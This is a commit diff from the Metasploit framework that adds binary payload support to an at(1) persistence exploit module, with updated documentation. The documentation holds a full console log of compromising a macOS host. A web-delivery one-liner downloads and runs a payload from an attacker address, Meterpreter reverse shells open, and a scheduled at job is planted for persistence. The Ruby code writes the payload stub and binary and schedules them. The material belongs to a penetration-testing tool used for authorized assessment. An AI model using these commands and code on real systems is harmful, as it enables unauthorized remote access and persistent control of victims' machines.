Skip to content

Commit 3be1575

Browse files
committed
add binary payloads to at persistence module
1 parent fd7b7cb commit 3be1575

File tree

2 files changed

+116
-10
lines changed
  • documentation/modules/exploit/multi/persistence
  • modules/exploits/multi/persistence

2 files changed

+116
-10
lines changed

documentation/modules/exploit/multi/persistence/at.md

Lines changed: 78 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,9 @@
11
## Vulnerable Application
22

33
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
4-
with any UNIX-like operating system with `atd` running.
4+
with any UNIX-like operating system with `atd` running.
5+
6+
Verified on Kali linux and OSX 13.7.4
57

68
### OSX
79

@@ -119,4 +121,79 @@ Thu Feb 6 11:42:44 AM EST 2025
119121
[*] exec: date
120122
121123
Thu Feb 6 11:52:20 AM EST 2025
124+
```
125+
126+
### OSX 13.7.4
127+
128+
Initial access vector via web delivery
129+
130+
```
131+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
132+
verbose => true
133+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
134+
lhost => 111.111.1.111
135+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
136+
[*] Using configured payload python/meterpreter/reverse_tcp
137+
resource (/root/.msf4/msfconsole.rc)> set target 8
138+
target => 8
139+
resource (/root/.msf4/msfconsole.rc)> set srvport 8383
140+
srvport => 8383
141+
resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter_reverse_tcp
142+
payload => osx/x64/meterpreter_reverse_tcp
143+
resource (/root/.msf4/msfconsole.rc)> set lport 4747
144+
lport => 4747
145+
resource (/root/.msf4/msfconsole.rc)> set URIPATH m
146+
URIPATH => m
147+
resource (/root/.msf4/msfconsole.rc)> run
148+
[*] Exploit running as background job 0.
149+
[*] Exploit completed, but no session was created.
150+
[*] Starting persistent handler(s)...
151+
[*] Started reverse TCP handler on 111.111.1.111:4747
152+
[*] Using URL: http://111.111.1.111:8383/m
153+
[*] Server started.
154+
[*] Run the following command on the target machine:
155+
curl -sk --output y9D7PFJd http://111.111.1.111:8383/m; chmod +x y9D7PFJd; ./y9D7PFJd& disown
156+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (111.111.1.111:4747 -> 222.22.2.2:49164) at 2025-02-21 16:59:10 -0500
157+
158+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
159+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
160+
[msf](Jobs:2 Agents:2) exploit(multi/persistence/at) > sessions -i 1
161+
[*] Starting interaction with 1...
162+
163+
(Meterpreter 1)(/Users/macos) > getuid
164+
Server username: macos
165+
(Meterpreter 1)(/Users/macos) > sysinfo
166+
Computer : 20.20.20.21
167+
OS : macOS Ventura (macOS 13.7.4)
168+
Architecture : x86
169+
BuildTuple : x86_64-apple-darwin
170+
Meterpreter : x64/osx
171+
(Meterpreter 1)(/Users/macos) >
172+
```
173+
174+
Persistence
175+
176+
Already run: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist`
177+
178+
```
179+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set session 1
180+
session => 1
181+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set time now +2 minutes
182+
time => now +2 minutes
183+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set payload payload/osx/x64/meterpreter_reverse_tcp
184+
payload => osx/x64/meterpreter_reverse_tcp
185+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > exploit
186+
[*] Exploit running as background job 1.
187+
[*] Exploit completed, but no session was created.
188+
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) >
189+
[*] Started reverse TCP handler on 111.111.1.111:4444
190+
[*] Running automatic check ("set AutoCheck false" to disable)
191+
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
192+
[*] Writing payload to /tmp/NBcqC
193+
[*] Writing '/tmp/NBcqC' (25 bytes) ...
194+
[*] Writing '/tmp/NBcqCmk' (815032 bytes) ...
195+
[+] at job created with id: 7
196+
[*] Waiting up to sec for execution
197+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/20.20.20.21_20250221.0028/20.20.20.21_20250221.0028.rc
198+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.22.2.2:49165) at 2025-02-21 17:02:29 -0500
122199
```

modules/exploits/multi/persistence/at.rb

Lines changed: 38 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local
88

99
include Msf::Post::File
1010
include Msf::Exploit::FileDropper
11+
include Msf::Exploit::EXE # for generate_payload_exe
1112
include Msf::Exploit::Local::Persistence
1213
include Msf::Exploit::Local::Timespec
1314
prepend Msf::Exploit::Remote::AutoCheck
@@ -20,7 +21,10 @@ def initialize(info = {})
2021
info,
2122
'Name' => 'at(1) Persistence',
2223
'Description' => %q{
23-
This module achieves persistence by executing payloads via at(1).
24+
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
25+
with any UNIX-like operating system with atd running.
26+
27+
Verified on Kali linux and OSX 13.7.4
2428
},
2529
'License' => MSF_LICENSE,
2630
'Author' => [
@@ -29,7 +33,16 @@ def initialize(info = {})
2933
'Targets' => [['Automatic', {} ]],
3034
'DefaultTarget' => 0,
3135
'Platform' => %w[unix linux osx],
32-
'Arch' => ARCH_CMD,
36+
'Arch' => [
37+
ARCH_CMD,
38+
ARCH_X86,
39+
ARCH_X64,
40+
ARCH_ARMLE,
41+
ARCH_AARCH64,
42+
ARCH_PPC,
43+
ARCH_MIPSLE,
44+
ARCH_MIPSBE
45+
],
3346
'SessionTypes' => ['meterpreter', 'shell'],
3447
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
3548
'References' => [
@@ -46,7 +59,8 @@ def initialize(info = {})
4659
)
4760

4861
register_options([
49-
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now'])
62+
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
63+
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
5064
])
5165
end
5266

@@ -67,15 +81,30 @@ def check
6781

6882
def install_persistence
6983
fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
70-
payload_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(7..12)}"
71-
vprint_status("Writing payload to #{payload_file}")
72-
write_file(payload_file, payload.encoded)
73-
@clean_up_rc << "rm #{payload_file}\n"
84+
payload_path = datastore['WritableDir']
85+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
86+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
87+
payload_path << payload_name
88+
vprint_status("Writing payload to #{payload_path}")
89+
90+
if payload.arch.first == 'cmd'
91+
upload_and_chmodx(payload_path, payload.encoded)
92+
else
93+
# because the payloads contents is imported into the at job, we use a stub to call our payload
94+
# as it doesn't like binary payloads directly
95+
payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
96+
# stub, but keep payload_path name for consistency
97+
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
98+
upload_and_chmodx(payload_path_exe, generate_payload_exe)
99+
@clean_up_rc << "rm #{payload_path_exe}\n"
100+
end
101+
102+
@clean_up_rc << "rm #{payload_path}\n"
74103

75-
chmod(payload_file, 0o700)
76-
job = cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
104+
job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
77105
job_id = job.split(' ')[1]
78106
print_good("at job created with id: #{job_id}")
107+
# this won't actually do anything since its not in a shell
79108
@clean_up_rc << "atrm #{job_id}\n"
80109

81110
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")

0 commit comments

Comments
 (0)